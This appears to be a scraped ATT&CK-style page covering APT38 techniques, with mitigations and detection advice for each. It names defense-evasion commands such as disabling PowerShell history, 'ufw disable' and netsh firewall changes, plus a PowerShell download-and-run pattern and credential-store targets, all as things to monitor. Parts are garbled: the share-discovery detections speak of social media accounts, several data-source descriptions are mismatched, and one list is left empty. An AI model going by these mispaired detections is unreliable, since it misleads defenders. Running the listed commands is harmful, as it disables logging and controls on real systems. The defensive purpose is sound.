On Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.
Adversaries may also leverage a Network Device CLI on network devices to disable historical command logging.
Environment Variable Permissions
Prevent users from changing the HISTCONTROL, HISTFILE, and HISTFILESIZE environment variables.
Operating System Configuration
Make sure that the HISTCONTROL environment variable is set to "ignoredups" instead of "ignoreboth" or "ignorespace".
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Monitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}.
Sensor Health: Host Status
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.
APT38 have created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443.
Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.
Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.
Restrict File and Directory Permissions
Ensure proper process and file permissions are in place to prevent adversaries from disabling or modifying firewall settings.
Restrict Registry Permissions
Ensure proper Registry permissions are in place to prevent adversaries from disabling or modifying firewall settings.
User Account Management
Ensure proper user permissions are in place to prevent adversaries from disabling or modifying firewall settings.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments associated with disabling or the modification of system firewalls such as netsh advfirewall firewall set rule group="file and printer sharing" new enable=Yes,ufw disable, and ufw logging off.
Firewall: Firewall Disable
Deactivation or stoppage of a cloud service (ex: Write/Delete entries within Azure Firewall Activity Logs)
Monitor for changes in the status of the system firewall such as Windows Security Auditing events 5025 (The Windows firewall service has been stopped) and 5034 (The Windows firewall driver was stopped).
Firewall: Firewall Rule Modification
Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)
Monitor for changes made to firewall rules that might allow remote communication over protocols such as SMD and RDP. Modification of firewall rules might also consider opening local ports and services for different network profiles such as public and domain.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows Registry keys and/or values that adversaries might use to disable or modify System Firewall settings such as HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy.
APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for unusual kernel driver installation activity
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState. and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows registry keys or values for unexpected modifications
APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable.
Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to Valid Accounts within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as OS Credential Dumping, Account Discovery, or Password Policy Discovery. Adversaries may also combine brute forcing activity with behaviors such as External Remote Services as part of Initial Access.
Account Use Policies
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.
Multi-factor Authentication
Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.
Password Policies
Refer to NIST guidelines when creating password policies.
User Account Management
Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Monitor authentication logs for system and application login failures of Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.
APT38 has identified primary users, currently logged in users, sets of users that commonly use a system, or inactive users.
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Active Directory: Active Directory Object Access
Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)
Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. Note: Domain controllers may not log replication requests originating from the default domain controller account. Monitor for replication requests from IPs not associated with known domain controllers.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Look for command-lines that invoke AuditD or the Security Accounts Manager (SAM). Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Monitor for hash dumpers opening the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM). Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised Valid Accounts in-use by adversaries may help as well.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
Process: Process Access
Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Monitor for unexpected processes interacting with lsass.exe. Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.
Linux
To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/<pid>/maps, where the <pid> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may be indicative of credential dumping. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Windows Registry: Windows Registry Key Access
Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)
Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.
APT38 installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.
Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and Network Device CLI may be used.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for executed processes that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
APT38 leveraged Sysmon to understand the processes, services in the organization.
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that may attempt to get information about running processes on a system.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls may attempt to get information about running processes on a system.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may attempt to get information about running processes on a system.
APT38 has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs.
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
APT38 have enumerated files and directories, or searched in specific locations within a compromised host.
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly executed processes that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
APT38 has enumerated network shares on a compromised host.
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. Net can be used to query a remote system for available shared drives using the net view \\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services.
Operating System Configuration
Enable Windows Group Policy "Do Not Allow Anonymous Enumeration of SAM Accounts and Shares" security setting to limit users who can enumerate network shares.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may create and cultivate social media accounts that can be used during targeting.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may create and cultivate social media accounts that can be used during targeting.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may create and cultivate social media accounts that can be used during targeting.
APT38 has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials In Files associated with logins cached by a browser.
Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell.
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Monitor for unexpected browser bookmarks viewed in isolation, this showcases part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly constructed processes, e.g. browsers, for to gather personal information about users (ex: banking sites, interests, social media, etc.)
APT38 has collected data from a compromised host.
Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.
Data Loss Prevention
Data loss prevention can restrict access to sensitive data and detect sensitive data that is unencrypted.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may search and collect local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Monitor for unexpected/abnormal access to files that may be malicious collection of local data, such as user files (pdf, .docx, .jpg, etc.) or local databases.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
APT38 used a Trojan called KEYLIME to capture keystrokes from the victim’s machine.
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for unusual kernel driver installation activity
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState. and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor for changes made to windows registry keys or values for unexpected modifications
APT38 used a Trojan called KEYLIME to collect data from the clipboard.
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
In Windows, Applications can access clipboard data by using the Windows API. OSX provides a native command, pbpaste, to grab clipboard contents.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments to collect data stored in the clipboard from users copying information within or between applications.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor API calls that could collect data stored in the clipboard from users copying information within or between applications.
APT38 used a backdoor, QUICKRIDE, to communicate to the C2 server over HTTP and HTTPS.
Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as HTTP and HTTPS that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.
Monitoring the following activities in your Organization can help you detect this technique.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor for web traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
APT38 used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim’s machine.
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).
Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.
On Windows, adversaries may use various utilities to download tools, such as copy, finger, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as curl, scp, sftp, tftp, rsync, finger, and wget.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for file creation and files transferred into the network
Network Traffic: Network Connection Creation
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for newly constructed network connections that are sent or received by untrusted hosts or creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor network traffic content for files and other potentially malicious content, especially data coming in from abnormal/unknown domain and IPs.
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
APT38 has used a custom secure delete function to make deleted files unrecoverable.
Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives. Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable. In some cases politically oriented image files have been used to overwrite data.
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.
Data Backup
Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
Monitoring the following activities in your Organization can help you detect this technique.
Cloud Storage: Cloud Storage Deletion
Removal of cloud storage infrastructure (ex: AWS S3 DeleteBucket)
Monitor for unexpected deletion of a cloud storage infrastructure, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket. Many of these events within a short period of time may indicate malicious activity.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments for binaries that could be involved in data destruction activity, such as SDelete.
File: File Deletion
Removal of a file (ex: Sysmon EID 23, macOS ESF EID ES_EVENT_TYPE_AUTH_UNLINK, or Linux commands auditd unlink, rename, rmdir, unlinked, or renameat rules)
Monitor for unexpected deletion to a file (ex: Sysmon EID 23)
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to a large quantity of files for unexpected modifications in user directories and under C:\Windows\System32.
Image: Image Deletion
Removal of a virtual machine image (ex: Azure Compute Service Images DELETE)
Monitor for unexpected deletion of a virtual machine image (ex: Azure Compute Service Images DELETE)
Instance: Instance Deletion
Removal of an instance (ex: instance.delete within GCP Audit Logs)
Monitor for unexpected deletion of an instance (ex: instance.delete within GCP Audit Logs)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes of binaries that could be involved in data destruction activity, such as SDelete.
Snapshot: Snapshot Deletion
Removal of a snapshot (ex: AWS delete-snapshot)
Monitor for unexpected deletion of a snapshot (ex: AWS delete-snapshot)
Volume: Volume Deletion
Removal of a a cloud volume (ex: AWS delete-volume)
Monitor for unexpected deletion of a cloud volume (ex: AWS delete-volume)
APT38 has used Hermes ransomware to encrypt files with AES256.
Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").
In cloud environments, storage objects within compromised accounts may also be encrypted.
Behavior Prevention on Endpoint
On Windows 10, enable cloud-delivered protection and Attack Surface Reduction (ASR) rules to block the execution of files that resemble ransomware.
Data Backup
